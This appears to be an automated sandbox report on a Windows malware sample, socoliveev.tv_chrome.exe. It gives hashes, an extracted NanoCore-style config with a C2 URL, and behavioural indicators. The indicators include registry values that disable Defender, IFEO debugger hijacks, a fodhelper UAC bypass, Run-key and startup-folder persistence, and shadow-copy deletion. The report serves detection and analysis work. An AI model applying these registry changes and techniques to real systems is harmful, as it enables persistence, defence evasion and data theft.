Analysis
- max time kernel
150s - max time network
150s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
23/10/2026, 05:10
Behavioral task
behavioral1
Sample
socoliveev.tv_chrome.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
41 signatures
150 seconds
Behavioral task
behavioral2
Sample
socoliveev.tv_chrome.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target socoliveev.tv_chrome.exe
- Size 57KB
- Sample261023-ft151abz8q
- SHA256 79fd93482919afe029c84851c2f2b55f7d4621055fcf29951b0f25fe13bc4bb7
- MD5 3cc36a5f5f9bfc34187fb93b45a82c82
- SHA1 d1ca97de60399670e5a3a9ca3e85ce23f9970b19
- SHA512 9533ccc7fc435366a262d2312921469cf34fa9d6a9005cdaaadcf7643df77bcf0e60e2128ed6228f6aa0d673fae1cda827f84a5ab86d4693267577400dd8d46f
- SSDEEP 768:sjwie26yfCe3OEtHLsb+GyKSkd7YM0F49N1XXGb5fAdOTVKFum1I:sjpfB/E+LKSUslF49LXGb5feOTVuuD
- TLSH T1D843E74473FD4111E5BF9EBA5DB191518B33B8A7AD22C38D0AD4068E19B2B40CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://socoliveev.tv
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://socoliveev.tv
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/1252-1-0x0000000000F50000-0x0000000000F64000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" socoliveev.tv_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5880 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" socoliveev.tv_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts socoliveev.tv_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5516 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_101.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_57.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_49.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_95.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_100.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_186.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_56.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_143.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_154.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_104.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_43.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_22.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_30.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_134.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_59.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_132.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_190.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_129.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysUpdate.exe socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_39.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_125.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_119.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf socoliveev.tv_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_18.pdf socoliveev.tv_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_51.pdf socoliveev.tv_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 3 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3488 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe socoliveev.tv_chrome.exe File created C:\Windows\system32\sysupdate.exe socoliveev.tv_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe socoliveev.tv_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 6088 wscript.exe 3412 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" socoliveev.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" socoliveev.tv_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3344 sc.exe 5700 sc.exe 6048 sc.exe 916 sc.exe 5652 sc.exe 4340 sc.exe 2140 sc.exe 4852 sc.exe 2364 sc.exe 404 sc.exe 5368 sc.exe 4372 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4976 cmd.exe 5644 cmd.exe 4196 cmd.exe 2848 cmd.exe 6000 cmd.exe 828 cmd.exe 1816 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain socoliveev.tv_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname socoliveev.tv_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 4640 NETSTAT.EXE 3184 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1964 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5132 vssadmin.exe 1776 vssadmin.exe 3392 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\WallpaperStyle = "2" socoliveev.tv_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command socoliveev.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\DelegateExecute socoliveev.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell socoliveev.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell socoliveev.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe\" \"%1\"" socoliveev.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings socoliveev.tv_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\socoliveev.tv_chrome.exe" socoliveev.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet socoliveev.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command socoliveev.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open socoliveev.tv_chrome.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open socoliveev.tv_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" socoliveev.tv_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open socoliveev.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell socoliveev.tv_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings socoliveev.tv_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3256 schtasks.exe 3608 schtasks.exe 1840 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5880 powershell.exe 5880 powershell.exe 5880 powershell.exe 2932 WMIC.exe 2932 WMIC.exe 2932 WMIC.exe 2932 WMIC.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 5060 WMIC.exe 5060 WMIC.exe 5060 WMIC.exe 5060 WMIC.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 6048 WMIC.exe 6048 WMIC.exe 6048 WMIC.exe 6048 WMIC.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe 1252 socoliveev.tv_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1252 socoliveev.tv_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 5880 powershell.exe Token: SeIncreaseQuotaPrivilege 2932 WMIC.exe Token: SeSecurityPrivilege 2932 WMIC.exe Token: SeTakeOwnershipPrivilege 2932 WMIC.exe Token: SeLoadDriverPrivilege 2932 WMIC.exe Token: SeSystemProfilePrivilege 2932 WMIC.exe Token: SeSystemtimePrivilege 2932 WMIC.exe Token: SeProfSingleProcessPrivilege 2932 WMIC.exe Token: SeIncBasePriorityPrivilege 2932 WMIC.exe Token: SeCreatePagefilePrivilege 2932 WMIC.exe Token: SeBackupPrivilege 2932 WMIC.exe Token: SeRestorePrivilege 2932 WMIC.exe Token: SeShutdownPrivilege 2932 WMIC.exe Token: SeDebugPrivilege 2932 WMIC.exe Token: SeSystemEnvironmentPrivilege 2932 WMIC.exe Token: SeRemoteShutdownPrivilege 2932 WMIC.exe Token: SeUndockPrivilege 2932 WMIC.exe Token: SeManageVolumePrivilege 2932 WMIC.exe Token: 33 2932 WMIC.exe Token: 34 2932 WMIC.exe Token: 35 2932 WMIC.exe Token: 36 2932 WMIC.exe Token: SeBackupPrivilege 1600 vssvc.exe Token: SeRestorePrivilege 1600 vssvc.exe Token: SeAuditPrivilege 1600 vssvc.exe Token: SeIncreaseQuotaPrivilege 2932 WMIC.exe Token: SeSecurityPrivilege 2932 WMIC.exe Token: SeTakeOwnershipPrivilege 2932 WMIC.exe Token: SeLoadDriverPrivilege 2932 WMIC.exe Token: SeSystemProfilePrivilege 2932 WMIC.exe Token: SeSystemtimePrivilege 2932 WMIC.exe Token: SeProfSingleProcessPrivilege 2932 WMIC.exe Token: SeIncBasePriorityPrivilege 2932 WMIC.exe Token: SeCreatePagefilePrivilege 2932 WMIC.exe Token: SeBackupPrivilege 2932 WMIC.exe Token: SeRestorePrivilege 2932 WMIC.exe Token: SeShutdownPrivilege 2932 WMIC.exe Token: SeDebugPrivilege 2932 WMIC.exe Token: SeSystemEnvironmentPrivilege 2932 WMIC.exe Token: SeRemoteShutdownPrivilege 2932 WMIC.exe Token: SeUndockPrivilege 2932 WMIC.exe Token: SeManageVolumePrivilege 2932 WMIC.exe Token: 33 2932 WMIC.exe Token: 34 2932 WMIC.exe Token: 35 2932 WMIC.exe Token: 36 2932 WMIC.exe Token: SeIncreaseQuotaPrivilege 5880 powershell.exe Token: SeSecurityPrivilege 5880 powershell.exe Token: SeTakeOwnershipPrivilege 5880 powershell.exe Token: SeLoadDriverPrivilege 5880 powershell.exe Token: SeSystemProfilePrivilege 5880 powershell.exe Token: SeSystemtimePrivilege 5880 powershell.exe Token: SeProfSingleProcessPrivilege 5880 powershell.exe Token: SeIncBasePriorityPrivilege 5880 powershell.exe Token: SeCreatePagefilePrivilege 5880 powershell.exe Token: SeBackupPrivilege 5880 powershell.exe Token: SeRestorePrivilege 5880 powershell.exe Token: SeShutdownPrivilege 5880 powershell.exe Token: SeDebugPrivilege 5880 powershell.exe Token: SeSystemEnvironmentPrivilege 5880 powershell.exe Token: SeRemoteShutdownPrivilege 5880 powershell.exe Token: SeUndockPrivilege 5880 powershell.exe Token: SeManageVolumePrivilege 5880 powershell.exe Token: 33 5880 powershell.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1252 socoliveev.tv_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 1252 wrote to memory of 5880 1252 socoliveev.tv_chrome.exe 88 PID 1252 wrote to memory of 4372 1252 socoliveev.tv_chrome.exe 90 PID 1252 wrote to memory of 3344 1252 socoliveev.tv_chrome.exe 92 PID 1252 wrote to memory of 4340 1252 socoliveev.tv_chrome.exe 94 PID 1252 wrote to memory of 2140 1252 socoliveev.tv_chrome.exe 96 PID 1252 wrote to memory of 5700 1252 socoliveev.tv_chrome.exe 98 PID 1252 wrote to memory of 4852 1252 socoliveev.tv_chrome.exe 100 PID 1252 wrote to memory of 6048 1252 socoliveev.tv_chrome.exe 169 PID 1252 wrote to memory of 2364 1252 socoliveev.tv_chrome.exe 104 PID 1252 wrote to memory of 852 1252 socoliveev.tv_chrome.exe 105 PID 1252 wrote to memory of 404 1252 socoliveev.tv_chrome.exe 107 PID 1252 wrote to memory of 916 1252 socoliveev.tv_chrome.exe 109 PID 1252 wrote to memory of 5132 1252 socoliveev.tv_chrome.exe 111 PID 852 wrote to memory of 1220 852 fodhelper.exe 113 PID 1252 wrote to memory of 2932 1252 socoliveev.tv_chrome.exe 114 PID 1252 wrote to memory of 3412 1252 socoliveev.tv_chrome.exe 120 PID 1252 wrote to memory of 3608 1252 socoliveev.tv_chrome.exe 121 PID 1252 wrote to memory of 3256 1252 socoliveev.tv_chrome.exe 123 PID 1252 wrote to memory of 2540 1252 socoliveev.tv_chrome.exe 128 PID 1252 wrote to memory of 4976 1252 socoliveev.tv_chrome.exe 131 PID 1252 wrote to memory of 1816 1252 socoliveev.tv_chrome.exe 133 PID 1252 wrote to memory of 828 1252 socoliveev.tv_chrome.exe 134 PID 1252 wrote to memory of 6000 1252 socoliveev.tv_chrome.exe 135 PID 1252 wrote to memory of 2848 1252 socoliveev.tv_chrome.exe 136 PID 1252 wrote to memory of 4196 1252 socoliveev.tv_chrome.exe 137 PID 1252 wrote to memory of 5644 1252 socoliveev.tv_chrome.exe 138 PID 1252 wrote to memory of 1840 1252 socoliveev.tv_chrome.exe 145 PID 1252 wrote to memory of 6088 1252 socoliveev.tv_chrome.exe 147 PID 1252 wrote to memory of 1776 1252 socoliveev.tv_chrome.exe 148 PID 1252 wrote to memory of 5060 1252 socoliveev.tv_chrome.exe 149 PID 1252 wrote to memory of 2648 1252 socoliveev.tv_chrome.exe 150 PID 1252 wrote to memory of 5516 1252 socoliveev.tv_chrome.exe 151 PID 1252 wrote to memory of 5652 1252 socoliveev.tv_chrome.exe 152 PID 1252 wrote to memory of 5368 1252 socoliveev.tv_chrome.exe 153 PID 828 wrote to memory of 3488 828 cmd.exe 160 PID 5644 wrote to memory of 4640 5644 cmd.exe 161 PID 1816 wrote to memory of 1964 1816 cmd.exe 162 PID 2648 wrote to memory of 1468 2648 net.exe 163 PID 6000 wrote to memory of 696 6000 cmd.exe 164 PID 2848 wrote to memory of 5956 2848 cmd.exe 165 PID 4196 wrote to memory of 3184 4196 cmd.exe 166 PID 5956 wrote to memory of 124 5956 net.exe 167 PID 4976 wrote to memory of 3392 4976 cmd.exe 168 PID 4976 wrote to memory of 6048 4976 cmd.exe 169 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe"C:\Users\Admin\AppData\Local\Temp\socoliveev.tv_chrome.exe"1⤵
